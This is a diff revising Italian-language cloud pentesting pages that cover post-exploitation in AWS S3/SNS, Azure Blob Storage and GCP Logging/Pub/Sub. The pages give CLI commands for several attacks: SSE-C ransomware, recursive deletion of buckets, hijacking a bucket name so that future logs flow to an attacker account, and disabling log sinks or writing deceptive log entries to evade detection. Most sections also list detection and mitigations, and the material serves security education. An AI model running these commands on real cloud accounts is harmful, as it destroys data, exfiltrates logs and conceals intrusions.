diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
index 1eae399d1..dfc299c0a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
@@ -4,7 +4,7 @@
 
 ## S3
 
-Per maggiori informazioni consulta:
+Per maggiori informazioni controlla:
 
 {{#ref}}
 ../../aws-services/aws-s3-athena-and-glacier-enum.md
@@ -12,39 +12,39 @@ Per maggiori informazioni consulta:
 
 ### Informazioni sensibili
 
-A volte potrai trovare informazioni sensibili leggibili nei bucket. Per esempio, terraform state secrets.
+A volte riuscirai a trovare informazioni sensibili leggibili nei bucket. Per esempio, secrets dello stato di terraform.
 
 ### Pivoting
 
-Diverse piattaforme possono usare S3 per memorizzare asset sensibili.\
-Per esempio, **airflow** potrebbe memorizzare lì il **DAGs code**, oppure **web pages** potrebbero essere servite direttamente da S3. Un attaccante con permessi di scrittura potrebbe **modify the code** dal bucket per **pivot** verso altre piattaforme, o **takeover accounts** modificando file JS.
+Diverse piattaforme potrebbero usare S3 per archiviare asset sensibili.\
+Per esempio, **airflow** potrebbe conservare lì il **codice DAG**, oppure le **pagine web** potrebbero essere servite direttamente da S3. Un attacker con permessi di scrittura potrebbe **modificare il codice** nel bucket per **pivot** verso altre piattaforme, oppure fare **takeover degli account** modificando file JS.
 
 ### S3 Ransomware
 
-In questo scenario, l'**attaccante crea una KMS (Key Management Service) key nel proprio account AWS** o in un altro account compromesso. Rende quindi questa **key accessibile a chiunque nel mondo**, permettendo a qualsiasi utente, ruolo o account AWS di cifrare oggetti usando questa key. Tuttavia, gli oggetti non possono essere decifrati.
+In questo scenario, l'**attacker crea una chiave KMS (Key Management Service) nel proprio account AWS** oppure in un altro account compromesso. Poi rende questa **chiave accessibile a chiunque nel mondo**, permettendo a qualsiasi utente, role o account AWS di cifrare oggetti usando questa chiave. Tuttavia, gli oggetti non possono essere decifrati.
 
-L'attaccante individua un target **S3 bucket e ottiene accesso in scrittura** su di esso usando vari metodi. Questo può essere dovuto a una cattiva configurazione del bucket che lo espone pubblicamente o all'attaccante che guadagna accesso all'ambiente AWS stesso. Tipicamente l'attaccante prende di mira bucket che contengono informazioni sensibili come PII, PHI, log, backup e altro.
+L'attacker identifica un **bucket S3 target e ottiene accesso in scrittura** ad esso usando vari metodi. Questo potrebbe dipendere da una cattiva configurazione del bucket che lo espone pubblicamente oppure dall'attacker che ottiene accesso all'ambiente AWS stesso. L'attacker in genere prende di mira bucket che contengono informazioni sensibili come dati personali identificabili (PII), protected health information (PHI), log, backup e altro.
 
-Per determinare se il bucket può essere preso di mira per ransomware, l'attaccante verifica la sua configurazione. Questo include controllare se **S3 Object Versioning** è abilitato e se **multi-factor authentication delete (MFA delete)** è abilitato. Se Object Versioning non è abilitato, l'attaccante può procedere. Se Object Versioning è abilitato ma MFA delete è disabilitato, l'attaccante può **disabilitare Object Versioning**. Se sia Object Versioning che MFA delete sono abilitati, diventa più difficile per l'attaccante ransomware quel specifico bucket.
+Per determinare se il bucket può essere preso di mira per ransomware, l'attacker ne controlla la configurazione. Questo include verificare se **S3 Object Versioning** è abilitato e se **multi-factor authentication delete (MFA delete)** è abilitato. Se Object Versioning non è abilitato, l'attacker può procedere. Se Object Versioning è abilitato ma MFA delete è disabilitato, l'attacker può **disabilitare Object Versioning**. Se sia Object Versioning sia MFA delete sono abilitati, diventa più difficile per l'attacker fare ransomware su quel bucket specifico.
 
-Usando l'AWS API, l'attaccante **sostituisce ogni oggetto nel bucket con una copia cifrata usando la propria KMS key**. Questo cifra effettivamente i dati nel bucket, rendendoli inaccessibili senza la key.
+Usando l'AWS API, l'attacker **sostituisce ogni oggetto nel bucket con una copia cifrata usando la propria chiave KMS**. Questo cifra di fatto i dati nel bucket, rendendoli inaccessibili senza la chiave.
 
-Per aumentare la pressione, l'attaccante programma la cancellazione della KMS key usata nell'attacco. Questo dà al target una finestra di 7 giorni per recuperare i dati prima che la key venga cancellata e i dati vadano perduti in modo permanente.
+Per aumentare ulteriormente la pressione, l'attacker pianifica l'eliminazione della chiave KMS usata nell'attacco. Questo dà al target una finestra di 7 giorni per recuperare i dati prima che la chiave venga eliminata e i dati diventino persi in modo permanente.
 
-Infine, l'attaccante potrebbe caricare un file finale, solitamente chiamato "ransom-note.txt", che contiene istruzioni per il target su come recuperare i propri file. Questo file viene caricato senza cifratura, probabilmente per attirare l'attenzione del target e renderlo consapevole dell'attacco ransomware.
+Infine, l'attacker potrebbe caricare un file finale, di solito chiamato "ransom-note.txt", che contiene istruzioni per il target su come recuperare i file. Questo file viene caricato senza cifratura, probabilmente per attirare l'attenzione del target e renderlo consapevole dell'attacco ransomware.
 
 #### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like)
 
-Un'altra variante è l'abuso di **SSE-C** (S3 server-side encryption with **customer-provided keys**). Con SSE-C, il **client fornisce la chiave di cifratura ad ogni richiesta** e **AWS non memorizza la chiave**. Questo significa che se un attaccante riscrive oggetti usando **la propria SSE-C key**, i dati della vittima diventano illeggibili a meno che la vittima non possa fornire quella chiave controllata dall'attaccante.
+Un'altra variante consiste nell'abusare di **SSE-C** (S3 server-side encryption con **customer-provided keys**). Con SSE-C, il **client fornisce la chiave di cifratura a ogni richiesta** e **AWS non memorizza la chiave**. Questo significa che se un attacker riscrive gli oggetti usando la **propria chiave SSE-C**, i dati della vittima diventano illeggibili a meno che la vittima non possa fornire quella chiave controllata dall'attacker.
 
-- **Precondizioni:** Credenziali AWS compromesse (o qualsiasi principal con i permessi corretti) e la capacità di **rewrite objects** (es., `s3:PutObject` sulle chiavi/prefissi target). Questo è spesso abbinato alla capacità di impostare lifecycle policies distruttive (vedi sotto), es. `s3:PutLifecycleConfiguration`.
+- **Precondizioni:** credenziali AWS compromesse (o qualsiasi principal con i permessi corretti) e la possibilità di **riscrivere oggetti** (per esempio, `s3:PutObject` sulle chiavi/prefix target). Questo spesso viene affiancato alla possibilità di impostare policy di lifecycle distruttive (vedi sotto), ad esempio `s3:PutLifecycleConfiguration`.
 - **Catena di attacco:**
-1. L'attaccante genera una chiave casuale a 256-bit (AES-256) e la conserva.
-2. L'attaccante **riscrive** gli oggetti esistenti (stesse object keys) usando header SSE-C in modo che l'oggetto memorizzato sia ora cifrato con la key dell'attaccante.
-3. La vittima non può scaricare/decifrare senza fornire la SSE-C key (anche se i permessi IAM sono a posto).
-4. L'attaccante può cancellare la key (o semplicemente non fornirla mai) per rendere i dati irrimediabili.
+1. L'attacker genera una chiave casuale a 256 bit (AES-256) e la conserva.
+2. L'attacker **riscrive** gli oggetti esistenti (stesse object key) usando header SSE-C, così l'oggetto memorizzato risulta cifrato con la chiave dell'attacker.
+3. La vittima non può scaricare/decifrare senza fornire la chiave SSE-C (anche se i permessi IAM sono corretti).
+4. L'attacker può eliminare la chiave (o semplicemente non fornirla mai) per rendere i dati irrecuperabili.
 
-Esempio (concettuale) di utilizzo CLI:
+Esempio (CLI concettuale) di utilizzo:
 ```bash
 # Upload/overwrite an object encrypted with attacker-provided SSE-C key
 aws s3 cp ./file s3://<BUCKET>/<KEY> \
@@ -58,23 +58,23 @@ aws s3 cp s3://<BUCKET>/<KEY> ./file \
 ```
 ##### Aumentare la pressione: abuso del "timer" del ciclo di vita
 
-Per rimuovere opzioni di ripristino (come versioni precedenti), gli attaccanti possono abbinare riscritture SSE-C con **regole del ciclo di vita** che fanno scadere gli oggetti e/o cancellano le versioni non correnti dopo un breve periodo:
+Per rimuovere le opzioni di recovery (come le vecchie versioni), gli attacker possono combinare rewrite SSE-C con **lifecycle rules** che fanno scadere gli oggetti e/o eliminano le versioni noncurrent dopo un breve periodo:
 
-- `s3:PutLifecycleConfiguration` sul bucket permette a un attaccante di pianificare cancellazioni senza eseguire operazioni di delete esplicite per ogni oggetto/versione.
-- Questo è particolarmente impattante quando **versioning è abilitato**, perché può rimuovere la "versione precedente valida" che altrimenti permetterebbe il ripristino.
+- `s3:PutLifecycleConfiguration` sul bucket permette a un attacker di programmare eliminazioni senza eseguire esplicitamente operazioni di delete per ogni oggetto/versione.
+- Questo è particolarmente impattante quando **versioning è abilitato**, perché può rimuovere la "previous good version" che altrimenti consentirebbe il recovery.
 
-##### Rilevamento & Mitigazioni
+##### Detection & Mitigations
 
-- Preferire **SSE-KMS** (o SSE-S3) rispetto a SSE-C a meno che non ci sia una forte esigenza operativa per consentire SSE-C.
-- Monitorare/allertare le richieste `PutObject` che usano header SSE-C (CloudTrail data events per S3).
-- Monitorare/allertare su `PutBucketLifecycleConfiguration` inaspettati (modifiche al lifecycle).
-- Monitorare/allertare su picchi improvvisi nell'attività di overwrite (stesse chiavi aggiornate rapidamente) e su delete-marker/cancellazioni di versioni.
-- Restringere i permessi ad alto rischio: limitare `s3:PutObject` ai prefissi necessari; restringere fortemente `s3:PutLifecycleConfiguration` e `s3:PutBucketVersioning`; considerare di richiedere MFA per azioni amministrative sensibili (quando applicabile) e usare ruoli amministrativi separati con approvazioni.
-- Approccio al recupero: usare **versioning**, **backup** e copie immutabili/offline (S3 replication verso account protetto, vault di backup, ecc.); proteggere le versioni non correnti dalle cancellazioni aggressive e tutelare le modifiche al lifecycle con SCPs / guardrails.
+- Preferisci **SSE-KMS** (o SSE-S3) rispetto a SSE-C, a meno che non ci sia una forte ragione operativa per consentire SSE-C.
+- Monitora/allerta su richieste `PutObject` che usano header SSE-C (CloudTrail data events per S3).
+- Monitora/allerta su `PutBucketLifecycleConfiguration` inattesi (cambiamenti lifecycle).
+- Monitora/allerta su improvvisi picchi di overwrite activity (stesse key aggiornate rapidamente) e delete-marker/version deletions.
+- Limita i permessi ad alto rischio: limita `s3:PutObject` ai prefix necessari; restringi fortemente `s3:PutLifecycleConfiguration` e `s3:PutBucketVersioning`; valuta di richiedere MFA per azioni admin sensibili (dove applicabile) e usa ruoli admin separati con approvazioni.
+- Postura di recovery: usa **versioning**, **backups** e copie immutabili/offline (replication S3 verso un account protetto, backup vaults, ecc.); proteggi le versioni noncurrent da eliminazioni aggressive e proteggi i cambiamenti lifecycle con SCPs / guardrails.
 
 ### `s3:RestoreObject`
 
-Un attaccante con il permesso `s3:RestoreObject` può riattivare oggetti archiviati in Glacier o Deep Archive, rendendoli temporaneamente accessibili. Questo abilita il ripristino e l'exfiltration di dati storicamente archiviati (backup, snapshot, log, certificazioni, vecchi segreti) che normalmente sarebbero fuori portata. Se l'attaccante combina questo permesso con permessi di lettura (es. `s3:GetObject`), può ottenere copie complete di dati sensibili.
+Un attacker con il permesso `s3:RestoreObject` può riattivare oggetti archiviati in Glacier o Deep Archive, rendendoli temporaneamente accessibili. Questo abilita recovery ed exfiltration di dati storicamente archiviati (backup, snapshot, log, certificati, vecchi secret) che normalmente sarebbero fuori portata. Se l'attacker combina questo permesso con permessi di lettura (ad esempio, `s3:GetObject`), può ottenere copie complete di dati sensibili.
 ```bash
 aws s3api restore-object \
 --bucket <BUCKET_NAME> \
@@ -86,7 +86,7 @@ aws s3api restore-object \
 ```
 ### `s3:Delete*`
 
-Un attacker con il permesso s3:Delete* può eliminare oggetti, versioni e interi bucket, interrompere i backup e causare perdita di dati immediata e irreversibile, distruzione di prove e compromissione di backup o recovery artifacts.
+Un attacker con il permesso `s3:Delete*` può eliminare oggetti, versioni e interi bucket, interrompere i backup e causare una perdita di dati immediata e irreversibile, la distruzione delle prove e la compromissione di artefatti di backup o recovery.
 ```bash
 # Delete an object from a bucket
 aws s3api delete-object \
@@ -103,6 +103,34 @@ aws s3api delete-object \
 aws s3api delete-bucket \
 --bucket <BUCKET_NAME>
 ```
-**Per maggiori informazioni** [**consulta la ricerca originale**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+### Global bucket name takeover of autonomous writers - `s3:DeleteBucket`
+
+I nomi dei bucket S3 sono univoci a livello globale. Se un account vittima ha writer automatizzati che continuano a inviare dati a `arn:aws:s3:::<bucket-name>` e un attaccante può svuotare/eliminare quel bucket, l'attaccante può ricreare lo stesso nome di bucket in un account controllato dall'attaccante e ricevere le future delivery senza modificare la configurazione del servizio upstream.
+
+I target da esaminare includono le destinazioni di replica S3, gli stream di delivery di Kinesis Data Firehose, le catene di delivery CloudWatch Logs/SNS/WAF che arrivano in S3, e i job personalizzati di backup o export.
+```bash
+# Review S3 replication destinations on source buckets
+aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>
+
+# Review Firehose S3 destinations
+aws firehose describe-delivery-stream \
+--delivery-stream-name <DELIVERY_STREAM_NAME>
+
+# Empty and delete the target bucket, if permitted
+aws s3 rm s3://<BUCKET_NAME> --recursive
+aws s3api delete-bucket --bucket <BUCKET_NAME>
+
+# Recreate the same globally-unique name in the attacker account
+aws s3 mb s3://<BUCKET_NAME> --region <REGION>
+```
+La policy del bucket sostitutivo deve consentire allo writer upstream di mettere oggetti. L’esatto principal dipende dal servizio: per esempio un IAM replication role, un Firehose delivery role, oppure un service principal vincolato con `aws:SourceArn` / `aws:SourceAccount`.
+
+**Potential Impact:** esfiltrazione silenziosa di oggetti replicati futuri, log, telemetry, backup e artifact di pipeline verso un AWS account controllato dall’attaccante.
+
+**Detection & Mitigation:** genera alert sulla cancellazione di bucket referenziati da replication rules o delivery streams, monitora i delivery failure `NoSuchBucket` seguiti dalla ricreazione del bucket, limita `s3:DeleteBucket` sulle destinazioni di export e fissa le delivery cross-account con bucket policy rigorose e aspettative di ownership.
+
+
+
+**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
index ea8b5bfd3..e43f8ad9b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
@@ -2,12 +2,12 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-Abusa del protocollo di subscription di Firehose per registrare un Kinesis Data Firehose delivery stream controllato dall'attaccante su un topic SNS standard della vittima. Una volta che la subscription è in atto e il ruolo IAM richiesto si fida di `sns.amazonaws.com`, ogni futura notifica viene scritta in modo duraturo nel bucket S3 dell'attaccante con rumore minimo.
+Abusa del protocollo di subscription Firehose per registrare uno stream di delivery Kinesis Data Firehose controllato dall'attaccante su un topic SNS standard della vittima. Una volta che la subscription è in place e il ruolo IAM richiesto si fida di `sns.amazonaws.com`, ogni notifica futura viene scritta in modo duraturo nel bucket S3 dell'attaccante con rumore minimo.
 
-## Requisiti
-- Permessi nell'account dell'attaccante per creare un bucket S3, un Firehose delivery stream e il ruolo IAM usato da Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, ecc.).
-- La possibilità di eseguire `sns:Subscribe` al topic della vittima (e opzionalmente `sns:SetSubscriptionAttributes` se l'ARN del ruolo della subscription viene fornito dopo la creazione).
-- Una topic policy che permetta al principal dell'attaccante di sottoscrivere (o l'attaccante opera già nello stesso account).
+## Requirements
+- Permissions nell'account dell'attaccante per creare un bucket S3, uno stream di delivery Firehose e il ruolo IAM usato da Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
+- La capacità di `sns:Subscribe` al topic della vittima (e opzionalmente `sns:SetSubscriptionAttributes` se l'ARN del ruolo di subscription viene fornito dopo la creazione).
+- Una topic policy che permetta al principal dell'attaccante di subscribere (o l'attaccante opera già nello stesso account).
 
 ## Attack Steps (same-account example)
 ```bash
@@ -68,9 +68,23 @@ sleep 90
 aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
 ```
 ## Pulizia
-- Elimina la SNS subscription, il Firehose delivery stream, i ruoli/policy IAM temporanei e l'attacker S3 bucket.
+- Elimina la SNS subscription, il Firehose delivery stream, i ruoli/policy IAM temporanei e il bucket S3 dell'attaccante.
 
 ## Impatto
-**Impatto potenziale**: Exfiltration continua e duratura di ogni messaggio pubblicato nel SNS topic mirato verso attacker-controlled storage con un footprint operativo minimo.
+**Potenziale Impatto**: exfiltration continua e duratura di ogni messaggio pubblicato nel target SNS topic in uno storage controllato dall'attaccante con un footprint operativo minimo.
+
+## Variante correlata di Bucket-Name Hijack
+
+Se una chain esistente SNS -> Firehose -> S3 scrive già in un bucket e l'attaccante può eliminare quel bucket, potrebbe essere in grado di ricreare lo stesso nome di bucket S3 globalmente unico in un account controllato dall'attaccante. Le future consegne di Firehose possono quindi finire nel bucket sostitutivo senza modificare la SNS subscription o la configurazione del Firehose stream.
+```bash
+# Identify the Firehose S3 destination
+aws firehose describe-delivery-stream \
+--delivery-stream-name <DELIVERY_STREAM_NAME> \
+--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription'
+
+# After deleting the original bucket, recreate the same name in the attacker account
+aws s3 mb s3://<BUCKET_NAME> --region <REGION>
+```
+Concedi al ruolo di delivery di Firehose l'accesso al bucket di sostituzione se il ruolo può scrivere cross-account. Monitora la cancellazione del bucket sulle destinazioni Firehose, i delivery failures e i cambiamenti imprevisti della proprietà del bucket.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
index 368fbcb72..6ac7fd9fe 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## Storage Privesc
 
-Per ulteriori informazioni sullo storage, controlla:
+Per ulteriori informazioni sullo storage, consulta:
 
 {{#ref}}
 ../az-services/az-storage.md
@@ -12,7 +12,7 @@ Per ulteriori informazioni sullo storage, controlla:
 
 ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
 
-Un principale con questo permesso sarà in grado di **elencare** i blob (file) all'interno di un contenitore e **scaricare** i file che potrebbero contenere **informazioni sensibili**.
+Un principal con questo permesso sarà in grado di **list** i blob (file) all'interno di un container e **download** i file che potrebbero contenere **informazioni sensibili**.
 ```bash
 # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
 az storage blob list \
@@ -26,7 +26,7 @@ az storage blob download \
 ```
 ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
 
-Un principale con questo permesso sarà in grado di **scrivere e sovrascrivere file nei contenitori**, il che potrebbe consentirgli di causare danni o addirittura di elevare i privilegi (ad esempio, sovrascrivere del codice memorizzato in un blob):
+Un principal con questo permesso sarà in grado di **scrivere e sovrascrivere file nei containers**, il che potrebbe permettergli di causare danni o persino elevare i privilegi (ad esempio, sovrascrivere del codice memorizzato in un blob):
 ```bash
 # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
 az storage blob upload \
@@ -36,6 +36,35 @@ az storage blob upload \
 ```
 ### \*/delete
 
-Questo permetterebbe di eliminare oggetti all'interno dell'account di archiviazione che potrebbero **interrompere alcuni servizi** o far perdere al cliente **informazioni preziose**.
+Questo consentirebbe di eliminare oggetti all'interno dello storage account, il che potrebbe **interrompere alcuni servizi** o far **perdere informazioni preziose** al client.
+
+### Storage account name takeover of diagnostic exports
+
+I nomi degli Azure Storage account sono globalmente unici. Alcune esportazioni autonome, come Azure Monitor diagnostic settings, continuano a scrivere log o metriche in uno storage account configurato. Se un attacker può eliminare quello storage account e ricreare lo stesso nome in una subscription controllata dall'attacker all'interno dello stesso tenant, la telemetria esportata in futuro potrebbe essere consegnata allo storage account sostitutivo senza modificare il diagnostic setting.
+
+Questo è particolarmente interessante quando l'attacker ha permessi distruttivi come `Microsoft.Storage/storageAccounts/delete`, ma non può aggiornare la risorsa monitorata o i relativi diagnostic settings.
+
+Questo richiede che il nome dello storage account venga rilasciato per il riutilizzo. In pratica, le protezioni di Azure storage account soft delete / recovery possono ritardare o impedire il riutilizzo immediato, soprattutto tra tenant.
+```bash
+# Find diagnostic settings that write to a storage account
+az monitor diagnostic-settings list \
+--resource <RESOURCE_ID> \
+--query '[].{name:name,storageAccountId:storageAccountId}'
+
+# Delete the storage account, if permitted
+az storage account delete \
+--name <STORAGE_ACCOUNT_NAME> \
+--resource-group <RESOURCE_GROUP>
+
+# Recreate the same globally-unique storage account name
+az storage account create \
+--name <STORAGE_ACCOUNT_NAME> \
+--resource-group <ATTACKER_RESOURCE_GROUP> \
+--location <LOCATION> \
+--sku Standard_LRS
+```
+**Impatto Potenziale:** esfiltrazione a lungo termine di futuri log, metriche, dati di audit e archivi diagnostici verso una subscription controllata dall'attaccante.
+
+**Detection & Mitigation:** genera alert sulla cancellazione di storage accounts referenziati da diagnostic settings, inventaria i diagnostic settings con `storageAccountId`, monitora le destinazioni dangling e restringi in modo rigoroso i permessi distruttivi sugli storage accounts di logging/archive.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
index 0e4f081a9..fd540b1a1 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
@@ -2,15 +2,15 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Informazioni di base
+## Basic Information
 
-Per maggiori informazioni consulta:
+Per ulteriori informazioni controlla:
 
 {{#ref}}
 ../gcp-services/gcp-logging-enum.md
 {{#endref}}
 
-Per altri modi per interrompere il monitoraggio consulta:
+Per altri modi per interrompere il monitoring controlla:
 
 {{#ref}}
 gcp-monitoring-post-exploitation.md
@@ -18,17 +18,17 @@ gcp-monitoring-post-exploitation.md
 
 ### Default Logging
 
-**Per impostazione predefinita non verrai scoperto semplicemente per aver eseguito azioni di sola lettura. Per maggiori informazioni consulta la sezione Logging Enum.**
+**Per default non verrai beccato solo per aver eseguito azioni di read. Per maggiori informazioni controlla la sezione Logging Enum.**
 
-### Aggiungi principal escluso
+### Add Excepted Principal
 
-In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) and [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) è possibile aggiungere principal per evitare la generazione di log. Un attaccante potrebbe abusarne per evitare di essere scoperto.
+In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) e [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) è possibile aggiungere principals per non generare logs. Un attacker potrebbe abusarne per evitare di essere beccato.
 
-### Leggere i log - `logging.logEntries.list`
+### Read logs - `logging.logEntries.list`
 
 <details>
 
-<summary>Leggi le voci di log</summary>
+<summary>Read log entries</summary>
 ```bash
 # Read logs
 gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -51,7 +51,7 @@ gcloud logging logs delete <log-name>
 ```
 </details>
 
-### Scrivere log - `logging.logEntries.create`
+### Scrivere i log - `logging.logEntries.create`
 
 <details>
 
@@ -66,7 +66,7 @@ gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
 
 <details>
 
-<summary>Aggiorna la durata di conservazione del bucket dei log</summary>
+<summary>Aggiorna la retention del bucket di log</summary>
 ```bash
 # Set retention period to 1 day (_Required has a fixed one of 400days)
 
@@ -89,7 +89,7 @@ gcloud logging buckets delete BUCKET_NAME --location=<location>
 
 <details>
 
-<summary>Elimina link del log</summary>
+<summary>Elimina log link</summary>
 ```bash
 # Delete link
 gcloud logging links delete <link-id> --bucket <bucket> --location <location>
@@ -111,7 +111,7 @@ gcloud logging views delete <view-id> --bucket=<bucket> --location=global
 
 <details>
 
-<summary>Aggiorna la view di logging per nascondere i dati</summary>
+<summary>Aggiorna la logging view per nascondere i dati</summary>
 ```bash
 # Update a logging view to hide data
 gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
@@ -133,7 +133,7 @@ gcloud logging metrics update <metric-name> --description="Changed metric descri
 
 <details>
 
-<summary>Eliminare metriche basate sui log</summary>
+<summary>Elimina le metriche basate sui log</summary>
 ```bash
 # Delete log based metrics - logging.logMetrics.delete
 gcloud logging metrics delete <metric-name>
@@ -144,7 +144,7 @@ gcloud logging metrics delete <metric-name>
 
 <details>
 
-<summary>Elimina log sink</summary>
+<summary>Elimina sink di log</summary>
 ```bash
 # Delete sink - logging.sinks.delete
 gcloud logging sinks delete <sink-name>
@@ -155,7 +155,7 @@ gcloud logging sinks delete <sink-name>
 
 <details>
 
-<summary>Aggiorna/interrompi sink di log</summary>
+<summary>Aggiorna/interrompi log sink</summary>
 ```bash
 # Disable sink - logging.sinks.update
 gcloud logging sinks update <sink-name> --disabled
@@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
 ```
 </details>
 
+### Hijack del bucket-name del sink di Cloud Logging - `storage.buckets.delete`
+
+I sink di Cloud Logging possono esportare continuamente i log verso una destinazione Cloud Storage come `storage.googleapis.com/<bucket-name>` o `storage.googleapis.com/<bucket-name>/<prefix>`. Se un attaccante può eliminare il bucket di destinazione, ma non può aggiornare il sink, potrebbe comunque reindirizzare i log esportati in futuro ricreando lo stesso nome di bucket univoco a livello globale in un progetto controllato dall’attaccante.
+
+Questo è utile quando il principal compromesso ha permessi distruttivi su storage come `storage.buckets.delete`, `storage.objects.delete` e `storage.objects.list`, ma non ha `logging.sinks.update`.
+```bash
+# Find sinks that export to Cloud Storage
+gcloud logging sinks list --project <PROJECT_ID> \
+--format='table(name,destination,disabled,writerIdentity)'
+
+# Empty and delete the destination bucket, if permitted
+gcloud storage rm -r gs://<BUCKET_NAME>
+
+# Recreate the same bucket name in the attacker-controlled project
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+
+# Allow the sink writer identity to write objects into the replacement bucket
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:<SINK_WRITER_IDENTITY>' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Impatto Potenziale:** esfiltrazione silenziosa e a lungo termine di futuri audit logs, application logs, security telemetry e qualsiasi altro evento corrispondente al filtro del sink.
+
+**Detection & Mitigation:** alert sulla cancellazione di bucket referenziati da sink attivi, inventory delle destinazioni dei sink per bucket name pendenti, restrizione di `storage.buckets.delete` sulle destinazioni di logging e protezione dei bucket di export con controlli di retention/hold, dove possibile.
+
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
index 30ced028b..8bc083916 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## Pub/Sub
 
-Per maggiori informazioni su Pub/Sub consulta la seguente pagina:
+Per maggiori informazioni su Pub/Sub controlla la seguente pagina:
 
 {{#ref}}
 ../gcp-services/gcp-pub-sub.md
@@ -12,11 +12,11 @@ Per maggiori informazioni su Pub/Sub consulta la seguente pagina:
 
 ### `pubsub.topics.publish`
 
-Pubblica un messaggio in un topic, utile per **inviare dati inattesi** e attivare funzionalità impreviste o exploit vulnerabilities:
+Pubblica un messaggio in un topic, utile per **inviare dati inaspettati** e attivare funzionalità inattese o sfruttare vulnerabilità:
 
 <details>
 
-<summary>Pubblica un messaggio nel topic</summary>
+<summary>Pubblica messaggio nel topic</summary>
 ```bash
 # Publish a message in a topic
 gcloud pubsub topics publish <topic_name> --message "Hello!"
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
 
 ### `pubsub.topics.detachSubscription`
 
-Utile per impedire a subscription di ricevere messaggi, magari per evitare il rilevamento.
+Utile per impedire a una subscription di ricevere messaggi, forse per evitare la detection.
 
 <details>
 
-<summary>Staccare subscription da topic</summary>
+<summary>Stacca la subscription dal topic</summary>
 ```bash
 gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
 ```
@@ -38,7 +38,7 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
 ### `pubsub.topics.delete`
 
 Utile per impedire a una subscription di ricevere messaggi, magari per evitare il rilevamento.\
-È possibile eliminare un topic anche se ci sono subscription collegate.
+È possibile eliminare un topic anche con subscription collegate ad esso.
 
 <details>
 
@@ -50,11 +50,11 @@ gcloud pubsub topics delete <TOPIC NAME>
 
 ### `pubsub.topics.update`
 
-Usa questo permesso per aggiornare alcune impostazioni del topic per interromperne il funzionamento, come `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
